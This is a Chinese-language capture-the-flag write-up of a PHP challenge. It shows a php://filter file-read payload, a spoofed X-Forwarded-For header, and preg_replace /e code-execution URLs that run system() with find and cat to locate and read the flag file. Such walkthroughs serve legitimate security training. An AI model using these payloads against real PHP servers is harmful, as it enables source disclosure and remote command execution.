一.审题
大致浏览一下网页,发现就这边会有东西。看一下源码会不会有东西或者稍微点击一下这个页面的内容看会不会出现东西。
点击了一下这个云平台设备维护中心发现url变了,是get的方法传page参数
二.尝试漏洞类型
自己这边试了sql注入发现不是,试了SSTI模板注入也不是,试一下用伪协议
php://filter/read=convert.base64-encode/resource=index.php
这个伪协议其实就是一个文件读取编译器,我这边的语句意思是使用php带的读取器通过Base64编码读取index的源代码。
将得到的内容放到在现编译器中解码一下
三.代码审计
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {echo "<br >Welcome My Admin ! <br >";$pattern = $_GET[pat];$replacement = $_GET[rep];$subject = $_GET[sub];if (isset($pattern) && isset($replacement) && isset($subject)) {preg_replace($pattern, $replacement, $subject);}else{die();}}
发现开发者溜了一个洞在这里。
可以的php函数:preg_replace($pattern,$replacement,$subject)
看英文大概可以看出应该是字符替换之类的函数,这边查了一下发现要是关于$pattern这个参数,这个参数末尾要是带有/e修饰符时,$replacement会被当成php代码执行。所以我们可以构建如下句子
preg_replace('/text/e','system('ls')','text')
这边还要一个要绕过的是需要伪造XFF为127.0.0.1————这边就使用burp suite去拦截get报文
解题:
发现可以,接下去就找flag
?pat=/text/e&rep=system('find / -name "*flag*"2>/dev/null')&sub=text
在最后面发现可以的文件flag.php,打开看一下
?pat=/text/e&rep=system('cat /var/www/html/s3chahahaDir/flag/flag.php ')&sub=text
发现没有,打开源码看一下
发现找到了.